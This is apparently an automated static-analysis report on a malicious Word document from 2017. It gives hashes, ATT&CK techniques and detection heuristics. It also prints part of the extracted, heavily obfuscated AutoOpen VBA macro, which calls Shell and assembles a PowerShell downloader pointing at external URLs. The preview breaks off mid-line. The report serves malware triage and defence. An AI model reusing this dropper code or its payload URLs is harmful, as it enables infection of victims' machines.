Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 410fec0eaff84bc0…

MALICIOUS

Office (OLE)

142.5 KB Created: 2017-12-19 11:07:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 465673cf47d17b87fef51793d3c2239b SHA-1: 081f80ca6ce54e3fc3ce32725c81802dd794ac26 SHA-256: 410fec0eaff84bc05443d44447fa1c98721fd5fa4adb6bbdd612de3f4aa6f4ef
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains an AutoOpen VBA macro that is heavily obfuscated and uses the Shell() function to execute code. This macro is designed to download and execute a second-stage payload. The presence of the Shell() call and obfuscated loader strongly suggests a downloader or dropper functionality. The ClamAV signature 'Img.Dropper.PhishingLure-6443153-0' further supports this assessment.

Heuristics 8

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://er7nl+EwMT8Ui In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 64313 bytes
SHA-256: d60f395e68ec34dcf619b9519001000b1c449ace6e9f4795a643cd8d0d6eee0c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "qBYPZUVWDRcwE"
Sub AutoOpen()
On Error Resume Next
aCMVdGvfd = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(9))) + 7 + ChrB(12 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 13 / 9) - (14 - CBool(881 - 9) * TMfXJir + Cos(9))
YGufAjLtR = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 9 + ChrB(12 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 10 / 13) - (7 - CBool(881 - 7) * TMfXJir + Cos(7))
YGKshlYjL = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 14 + ChrB(9 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 11 / 11) - (8 - CBool(881 - 12) * TMfXJir + Cos(10))
LoRNdYzhj = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 9 + ChrB(12 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 14 / 13) - (8 - CBool(881 - 9) * TMfXJir + Cos(9))
MtczAdoHN = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 9 + ChrB(9 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 12 / 13) - (9 - CBool(881 - 7) * TMfXJir + Cos(13))
VBA.Shell$ wXjLzSuoffX, 0
jTjDoVzzu = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 8 + ChrB(10 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 14 / 10) - (11 - CBool(881 - 12) * TMfXJir + Cos(13))
RkoRkUiww = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 9 + ChrB(12 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 9 / 12) - (14 - CBool(881 - 11) * TMfXJir + Cos(13))
niBjtUsBi = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 13 + ChrB(7 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 10 / 13) - (8 - CBool(881 - 13) * TMfXJir + Cos(7))
zjFYCquUm = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 12 + ChrB(7 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 13 / 14) - (8 - CBool(881 - 9) * TMfXJir + Cos(7))
vwsTDwcPw = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 14 + ChrB(8 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 13 / 11) - (7 - CBool(881 - 12) * TMfXJir + Cos(8))
End Sub
Function wXjLzSuoffX()
On Error Resume Next
ZajJZEK = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 14 + ChrB(12 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 11 / 9) - (12 - CBool(881 - 7) * TMfXJir + Cos(10))
BGwAKrRJw = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 12 + ChrB(7 + Atn(14 / ChrW(5) + 4320 + Log(97)) - 12 / 10) - (7 - CBool(881 - 11) * TMfXJir + Cos(13))
usAVoiGTwi = Mid("5uSPrnG][Char]39).RepLaCe(([Char]101+[Char]111+[Char]100),7nlUxa7nl).JUi4t3AujYAFvUBfTPkNK39ZnPliPbTW", 6, 64)
hcLIfDoQ = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 10 + ChrB(14 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 9 / 8) - (13 - CBool(881 - 11) * TMfXJir + Cos(7))
SvzAw = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 14 + ChrB(14 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 9 / 10) - (11 - CBool(881 - 13) * TMfXJir + Cos(14))
HuwiNiWzzb = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 11 + ChrB(12 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 7 / 7) - (9 - CBool(881 - 10) * TMfXJir + Cos(11))
XOaQrq = Mid("4oGj2V1BLo8TLc+'+7nlet7nl+7nl/7nYiE+YiEl+7nlooJs7nlYi'+'E+YiE+YiE+YiE7nld355,htt7nlYiE+YiE+7nlp://rocknsou7nl+7nll7nl+7nlamerica.com7nl+7nl/ooJ7nl+7nls7nl+7nld'+'355,7nl+7nlhttp://er7nl+EwMT8Ui", 15, 172)
hTIlrHkqnL = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(9))) + 10 + ChrB(9 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 11 / 13) - (12 - CBool(881 - 8) * TMfXJir + Cos(11))
CWmCP = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 8 + ChrB(10 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 14 / 9) - (10 - CBool(881 - 12) * TMfXJir + Cos(10))
TrGIJZ = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 11 + ChrB(10 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 13 / 14) - (9 - CBool(881 - 8) * TMfXJir + Cos(14))
PNrpsZfU = Mid("qquz92ivwtr8YiE+YiEdnsadas7nl+7nld7nl+7nl = 7nl+7nlne7nl+7nlw-ob7nl+7nlject r7nl+7nla7nlYiE+YiE+7nlndo7zRrP", 13, 91)
XwtUMS = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 14 + ChrB(12 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 7 / 11) - (8 - CBool(881 - 13) * TMfXJir + Cos(14))
iwHWbtFvHj = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(8))) + 10 + ChrB(14 + Atn(10 / 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.